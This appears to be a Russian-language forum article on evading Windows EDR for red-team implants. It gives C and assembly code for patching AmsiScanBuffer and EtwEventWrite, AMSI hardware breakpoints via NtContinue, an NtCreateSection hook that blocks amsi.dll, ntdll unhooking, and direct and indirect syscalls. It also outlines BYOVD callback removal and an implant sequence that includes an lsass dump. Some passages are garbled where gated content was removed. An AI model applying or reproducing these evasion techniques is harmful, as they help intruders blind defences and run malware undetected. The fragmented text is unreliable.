За последние два года детект со стороны EDR изменился радикально. То, что работало в 2022-м против Defender, сейчас ловится на стадии загрузки даже бесплатными решениями. Но ядро проблемы осталось тем же: offensive-разработчику нужно понимать не отдельные трюки, а всю цепочку детекта - от AMSI-сканирования скриптов до kernel callbacks, которые фиксируют создание процесса ещё до того, как ваш имплант получит первую инструкцию.
Здесь я разберу четыре уровня защиты Windows и покажу конкретные техники обхода, которые работают на момент написания - с кодом, объяснением, почему именно эти байты патчатся, и честным указанием, где каждый подход ломается под серьёзным EDR.
Когда обход AMSI действительно необходим
Скажу прямо: если вы пишете шелл-код лоадер на C/C++ и выполняете позиционно-независимый код через callback-функции или APC - AMSI вам не нужен. AMSI сканирует управляемый код и скриптовые языки: PowerShell, VBScript, JavaScript, VBA-макросы и .NET-сборки, загружаемые черезAssembly.Load(). Fabian Mosch из r-tec в своём анализе пишет то же самое: добавление AMSI-байпасса в шелл-код лоадер лишь увеличивает количество индикаторов компрометации и шансы спалиться.Обход AMSI нужен, когда вы:
- Загружаете .NET-сборку в память через
Assembly.Load()из C2-фреймворка - Выполняете PowerShell-скрипты через
Invoke-ExpressionилиAdd-Type - Работаете с VBA-макросами в Office-документах
- Используете
mshta.exe,cscript.exeилиwscript.exeдля загрузки скриптов
Ссылка скрыта от гостей
(T1027, Defense Evasion) по классификации MITRE ATT&CK, использование mshta.exe - на Mshta (T1218.005, Defense Evasion) и Ingress Tool Transfer (T1105, Command and Control), использование cscript.exe и wscript.exe - на Command and Scripting Interpreter (T1059, Execution), а сам обход защитных механизмов - на Disable or Modify Tools (T1562.001, Defense Evasion).Обход AMSI в PowerShell и .NET: что работает в 2026
Патчинг AmsiScanBuffer - жив или мёртв
Классический патчAmsiScanBuffer - запись 0xC3 (ret) или последовательности, возвращающей AMSI_RESULT_CLEAN - по-прежнему работает. Но дьявол в деталях. Проблема не в самом патче, а в том, как вы до него добираетесь.В 2025 году EDR уровня CrowdStrike и SentinelOne ставят userland hooks на
VirtualProtect и WriteProcessMemory. Любая попытка поменять права доступа к страницам памяти amsi.dll или записать данные в её адресное пространство через стандартные API немедленно генерирует телеметрию. Вот что происходит при классическом подходе:
C:
// Классический патч AmsiScanBuffer - ЛОВИТСЯ большинством EDR в 2025
void* amsiAddr = GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(amsiAddr, 6, PAGE_EXECUTE_READWRITE, &oldProtect); // <-- хук EDR срабатывает здесь
memcpy(amsiAddr, "\xb8\x57\x00\x07\x80\xc3", 6); // mov eax, 0x80070057; ret
\xb8\x57\x00\x07\x80\xc3 - это mov eax, HRESULT(E_INVALIDARG) + ret. Функция возвращает ошибку, а дальше - как повезёт. Поведение PowerShell 5.1 при ошибке HRESULT от AmsiScanBuffer зависит от конкретного билда Windows: в одних сборках сканирование пропускается (fail-open), в других - выполнение блокируется (fail-closed). Microsoft это нигде не документировала (удивительно, правда?), так что проверяйте в целевой среде. В .NET CLR (для Assembly.Load) поведение аналогично, а вот Office VBA-хост может тупо заблокировать выполнение при ошибке.Более надёжный подход - патч, возвращающий
S_OK и записывающий AMSI_RESULT_CLEAN в выходной параметр amsiResult. Но VirtualProtect на адрес внутри amsi.dll - красный флаг, который видят все серьёзные EDR.Альтернатива: hardware breakpoints через NtContinue
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Hardware breakpoints - значительно более чистый подход. Ставите точку останова на адрес
Проблема: установка hardware breakpoints через
Решение -
Обработчик исключений при срабатывании breakpoint подменяет RIP на адрес
Практическая реализация: хук
Тут есть нюанс, на котором многие горели: нельзя возвращать
AmsiScanBuffer через debug-регистры процессора (Dr0-Dr3), регистрируете Vectored Exception Handler, и при попадании на этот адрес подменяете возвращаемое значение. Никакой модификации памяти amsi.dll, никаких вызовов VirtualProtect.Проблема: установка hardware breakpoints через
SetThreadContext / NtSetContextThread генерирует событие EtwTiLogSetContextThread в ядре. Как показало исследование Praetorian, и NtSetContextThread, и NtSetInformationThread с классом ThreadWow64Context триггерят ETW TI logging - EDR видит, что кто-то лезет в debug-регистры.Решение -
NtContinue. Эта функция обновляет контекст потока, включая debug-регистры, но не вызывает EtwTiLogSetContextThread в ядре. Код из исследования ReactOS подтверждает: KeContextToTrapFrame копирует Dr0-Dr7 из контекста напрямую:
C:
// Установка hardware breakpoint через NtContinue (концептуальный пример)
// 1. Регистрируем VEH для перехвата STATUS_SINGLE_STEP
AddVectoredExceptionHandler(1, AmsiBreakpointHandler);
// 2. Получаем текущий контекст через RtlCaptureContext
static volatile BOOL bpAlreadySet = FALSE;
CONTEXT ctx;
RtlCaptureContext(&ctx);
// 3. Проверяем, не установлен ли уже breakpoint (защита от бесконечного цикла:
// NtContinue вернёт выполнение к инструкции после RtlCaptureContext)
DWORD64 targetAddr = (DWORD64)GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer");
if (bpAlreadySet) {
goto bp_done; // breakpoint уже установлен, продолжаем выполнение
}
bpAlreadySet = TRUE;
// 4. Устанавливаем Dr0 на адрес AmsiScanBuffer
ctx.Dr0 = targetAddr;
ctx.Dr7 |= (1 << 0); // L0 enable (биты R/W0=00, LEN0=00 по умолчанию = execution BP, 1 byte)
// 5. NtContinue НЕ возвращает управление - она полностью заменяет контекст потока.
// Поскольку ctx захвачен через RtlCaptureContext, RIP указывает на инструкцию
// после RtlCaptureContext - выполнение продолжится оттуда, но уже с Dr0/Dr7.
// Флаг bpAlreadySet предотвращает повторный вызов NtContinue.
NtContinue(&ctx, FALSE);
// Управление сюда НЕ вернётся - NtContinue не возвращает вызывающему
bp_done:
ret-гаджета, эффективно пропуская вызов AmsiScanBuffer. Красиво, чисто, без следов в памяти.Предотвращение загрузки amsi.dll
Третий подход - не датьamsi.dll загрузиться в процесс вовсе. Как описано в исследовании waawaa, загрузка DLL в Windows проходит через цепочку NtOpenFile → NtCreateSection → NtMapViewOfSection. Перехватив любую из этих функций в своём процессе, можно вернуть ошибку для конкретных DLL.Практическая реализация: хук
NtCreateSection в текущем процессе, который проверяет файловый хэндл. Если путь соответствует amsi.dll (или другим DLL мониторинга - MpOav.dll, MpClient.dll), хук возвращает STATUS_UNSUCCESSFUL:
C:
// Упрощённый пример хука NtCreateSection для блокировки AMSI DLL
NTSTATUS NTAPI HookedNtCreateSection(
PHANDLE SectionHandle, ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjAttr, PLARGE_INTEGER MaxSize,
ULONG PageAttrs, ULONG SectionAttrs, HANDLE FileHandle)
{
if (FileHandle != NULL) {
// GetFinalPathNameByHandleA (kernel32) небезопасен внутри ntdll-level хука:
// на ранних стадиях загрузки процесса kernel32 может быть не инициализирован.
// Надёжнее: NtQueryObject(FileHandle, ObjectNameInformation, ...)
BYTE nameInfo[1024];
NtQueryObject(FileHandle, ObjectNameInformation, nameInfo, sizeof(nameInfo), NULL);
PUNICODE_STRING filePath = &((POBJECT_NAME_INFORMATION)nameInfo)->Name;
// IsBlockedDll принимает PUNICODE_STRING и проверяет имя DLL (по хэшу или подстроке)
// Проверка по хэшу пути, а не по строке - устойчивее к детекту
if (IsBlockedDll(filePath)) {
return STATUS_OBJECT_NAME_NOT_FOUND; // 0xC0000034 - загрузчик считает, что DLL не найдена
}
}
// Для всех остальных DLL - вызов оригинальной функции
return OriginalNtCreateSection(SectionHandle, DesiredAccess, ObjAttr,
MaxSize, PageAttrs, SectionAttrs, FileHandle);
}
0xC000047E (STATUS_INVALID_IMAGE_HASH) - это приведёт к вызову LdrAppxHandleIntegrityFailure, который убьёт процесс. STATUS_INVALID_IMAGE_FORMAT (0xC000007B) тоже мимо - загрузчик может показать диалог ошибки или записать событие в Event Log, а это уже IoC. Лучший вариант - STATUS_OBJECT_NAME_NOT_FOUND (0xC0000034): загрузчик просто решает, что DLL не найдена, и идёт дальше без побочных эффектов.
ETW patching techniques: ослепление телеметрии
ETW (Event Tracing for Windows) - главный канал телеметрии для EDR. Через него летят данные о выделении памяти, манипуляциях с потоками, APC-вызовах и куче всего остального. Подавление ETW маппится на технику
Ссылка скрыта от гостей
(T1562.002, Defense Evasion).Патчинг EtwEventWrite в ntdll
Классика - патчEtwEventWrite в ntdll.dll, чтобы функция возвращала 0 без реальной отправки событий:
C:
// Патч EtwEventWrite - концептуальный пример
void* etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // ret - функция ничего не делает
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
ntdll.dll. То есть EDR тупо сравнивает in-memory версию ntdll с тем, что лежит на диске, и видит ваш 0xC3.ETW Kernel Dispatch Table
По данным того же исследования fluxsec, более продвинутые атаки целятся в ETW Kernel Dispatch Table - внутреннюю структуру ядра, через которую маршрутизируются ETW-события. Руткит Lazarus (FudModule) использовал DKOM (Direct Kernel Object Manipulation) для модификации этих структур. Конкретно:- Обнуление
IsEnabled-флага ETW GUID Entry для конкретных провайдеров - Модификация масок
ETW_REG_ENTRY, контролирующих, какие события логируются - Отключение глобальных системных логгеров
Что реально детектится в 2026
EDR с компонентом в ядре ловит userland-патчингntdll.dll через:- Периодическое сравнение in-memory кода ntdll с образом на диске
- Kernel callbacks на изменение защиты памяти
- ETW Threat Intelligence провайдер, который живёт в ядре и на userland-патчи ему плевать
Userland hooks bypass: unhooking и прямые системные вызовы
EDR ставят хуки вntdll.dll, перехватывая NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx и десятки других функций. Это покрывает технику
Ссылка скрыта от гостей
(T1055, Defense Evasion / Privilege Escalation) - любая инъекция в чужой процесс проходит через эти API. Обход реализуется через Native API (T1106, Execution).Unhooking через чтение ntdll с диска
Классический подход: загружаем чистую копиюntdll.dll с диска и перезаписываем .text-секцию текущей (захукленной) копии:
C:
// Unhooking ntdll - чтение чистой копии с диска
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Находим .text секцию в чистой копии
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)cleanNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)cleanNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
if (!strcmp((char*)section[i].Name, ".text")) {
LPVOID hookedText = (LPVOID)((BYTE*)GetModuleHandleA("ntdll.dll")
+ section[i].VirtualAddress);
DWORD oldProtect;
VirtualProtect(hookedText, section[i].Misc.VirtualSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(hookedText, (BYTE*)cleanNtdll + section[i].PointerToRawData,
section[i].Misc.VirtualSize);
VirtualProtect(hookedText, section[i].Misc.VirtualSize,
oldProtect, &oldProtect);
break;
}
}
VirtualProtect на .text-секцию - детектируемые паттерны. CrowdStrike Falcon ловит это через мини-фильтр файловой системы и kernel callback на изменение защиты памяти. Лично я на одном проекте видел, как Falcon генерировал алерт ещё до завершения memcpy.Direct syscalls: SysWhispers и его эволюция
Прямые системные вызовы обходят userland hooks, потому что не проходят через захукленные функции в ntdll. Вместо вызоваNtAllocateVirtualMemory в ntdll, вы вручную помещаете номер syscall в EAX и выполняете syscall:
Код:
; Прямой syscall NtAllocateVirtualMemory (пример для демонстрации концепции)
; SSN (System Service Number) меняется между версиями Windows
mov r10, rcx
mov eax, 0x18 ; SSN 0x18 - NtAllocateVirtualMemory на Windows 10 20H2+ и Windows 11
; (проверяйте для конкретного билда). SSN менялись между major-версиями
; и могут отличаться на insider-билдах.
; В production-коде ВСЕГДА резолвите SSN динамически
; (SysWhispers3, HellsGate, Halo's Gate)
syscall
ret
NtAllocateVirtualMemory с флагами PAGE_EXECUTE_READWRITE - независимо от того, прошёл вызов через ntdll или напрямую. Плюс EDR проверяют, откуда пришёл syscall: если адрес возврата не внутри ntdll - это аномалия, и вас уже разглядывают.Indirect syscalls
Эволюция direct syscalls - indirect syscalls. Вместо выполнения инструкцииsyscall из своего кода, вы прыгаете на syscall; ret гаджет внутри легитимной ntdll. Адрес возврата выглядит «правильно»:
C:
// Indirect syscall - концептуальная схема
// 1. Находим адрес инструкции 'syscall' внутри ntdll
// (сканируем .text секцию на байты 0x0F 0x05 0xC3)
BYTE* ntdllBase = (BYTE*)GetModuleHandleA("ntdll.dll");
// ... поиск паттерна 0x0F, 0x05, 0xC3 в .text секции ...
// 2. Помещаем правильный SSN в EAX
// 3. Прыгаем на найденный адрес syscall в ntdll
// Результат: стек вызовов выглядит легитимно для EDR
Kernel callbacks: что видит EDR до вашего первого байта
Kernel callbacks - финальный рубеж, и обойти его из userland без эксплойта или загрузки своего драйвера невозможно. Точка. Ключевые callbacks:| Callback | Что отслеживает | Как используют EDR |
|---|---|---|
| PsSetCreateProcessNotifyRoutine | Создание и завершение процессов | Детект подозрительных parent-child цепочек |
| PsSetCreateThreadNotifyRoutine | Создание потоков | Детект remote thread injection |
| PsSetLoadImageNotifyRoutine | Загрузка образов (DLL/EXE) | Детект reflective DLL injection |
| ObRegisterCallbacks | Операции с хэндлами | Защита процесса EDR от открытия |
| CmRegisterCallback | Операции с реестром | Детект persistence-механизмов |
Техника
Ссылка скрыта от гостей
(T1620, Defense Evasion) специально нацелена на обход PsSetLoadImageNotifyRoutine - загрузка DLL без вызова LdrLoadDll не генерирует уведомления от этого callback.Что реально можно сделать из userland
Без драйвера убрать kernel callback нельзя. Но можно минимизировать генерируемую телеметрию:- Использовать thread pool (
TpAllocWork/TpPostWork) вместоCreateThreadдля выполнения кода - обходит часть эвристик на создание потоков - Выполнять шелл-код через callback-функции легитимных API (
EnumWindows,CertEnumSystemStoreи аналоги) - адрес возврата в стеке выглядит легитимнее - Избегать
PAGE_EXECUTE_READWRITEпри выделении памяти - выделять какRW, записывать, менять наRX
Kernel-level evasion: BYOVD и DKOM
Для red team-операций, где в целевой среде стоит EDR уровня CrowdStrike или SentinelOne, единственный надёжный способ разобраться с kernel callbacks - загрузка собственного драйвера через BYOVD. После получения выполнения в ядре можно:- Снять callbacks EDR через модификацию массива
PspCreateProcessNotifyRoutine- каждый элемент содержитEX_FAST_REFуказатель наEX_CALLBACK_ROUTINE_BLOCK; для доступа к callback нужно замаскировать младшие 4 бита (ref count) и получить адрес структуры. Для нейтрализации можно заменить полеFunctionна указатель на пустую функцию (ret-stub) - простое обнуление создаёт race condition. Более надёжный вариант - полное удаление записи из массива с обновлениемPspCreateProcessNotifyRoutineCount. Оба варианта требуют тщательного тестирования: некорректная модификация - и привет, BSOD - Закрыть хэндлы EDR к защищённым процессам
- Модифицировать ETW-структуры в ядре (описано выше)
Собираем всё вместе: порядок операций для импланта
Практическая последовательность действий, которая минимизирует детект на каждом этапе:
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Шаг 1. Лоадер без AMSI-байпасса выполняет шелл-код. Шелл-код позиционно-независимый, AMSI его не видит.
Шаг 2. Из шелл-кода - indirect syscall для
NtAllocateVirtualMemory с PAGE_READWRITE (не RWX!). Записываем полезную нагрузку.Шаг 3. Меняем защиту на
PAGE_EXECUTE_READ через indirect syscall NtProtectVirtualMemory.Шаг 4. Если нужно выполнить .NET-сборку или PowerShell - только тогда применяем AMSI-байпасс через hardware breakpoints с
NtContinue (без генерации ETW TI событий).Шаг 5. Подавляем ETW в userland через патчинг
EtwEventWrite - но понимаем, что kernel-level ETW TI это не затронет.Шаг 6. Для операций, требующих отсутствия kernel-телеметрии (дамп lsass, например), используем BYOVD для снятия kernel callbacks - если это входит в скоуп операции.
Ключевой принцип: каждый байпасс - это дополнительный IoC. Не применяйте обход, если он не нужен для конкретного этапа. Шелл-код лоадер не нуждается в AMSI-байпассе. BOF-модули не нуждаются в отдельном unhooking ntdll, если BOF реализует indirect syscalls через встроенные syscall stubs (InlineWhispers, SysWhispers3 BOF). Стандартные BOF, использующие
BeaconGetProcAddress для резолва Nt-функций, проходят через захукленную ntdll - и вот тут уже нужно думать.Что реально работает против конкретных EDR
Я намеренно не даю матрицу «техника X работает против продукта Y» - она устареет через месяц после публикации. Вместо этого - методология проверки:- Разверните целевой EDR в лабе с полной телеметрией (не в режиме «только алерты»)
- Выполняйте каждую технику изолированно, анализируя, какие события генерируются
- Используйте Process Hacker и x64dbg для инспекции хуков: загрузите ntdll из процесса и сравните пролог каждой Nt-функции с оригиналом на диске
- Проверьте, использует ли EDR kernel minifilter - через
fltMC.exe filters - Проверьте kernel callbacks через WinDbg:
!callback,dx @$cursession.Processes.Where(p => p.Name == "targetEDR.exe")
Заключение
Обход AMSI, ETW, userland hooks и kernel callbacks - не набор разрозненных трюков, а связанная система, где каждый уровень дополняет предыдущий. В 2026 году ни одна отдельная техника не гарантирует обход EDR корпоративного класса. ПатчAmsiScanBuffer бесполезен, если вы не разобрались с userland hooks на VirtualProtect. Unhooking ntdll бессмысленен, если kernel ETW TI логирует ваши syscalls. Direct syscalls не спасут, если EDR проверяет call stack.Разверните лабу с целевым EDR и прогоните каждую технику из этой статьи изолированно - посмотрите, что генерирует телеметрию, а что проходит тихо. Именно понимание всей вертикали (от PowerShell-скриптов до kernel callbacks и ETW dispatch tables) отличает рабочий имплант от очередного PoC, который ловится на первой стадии.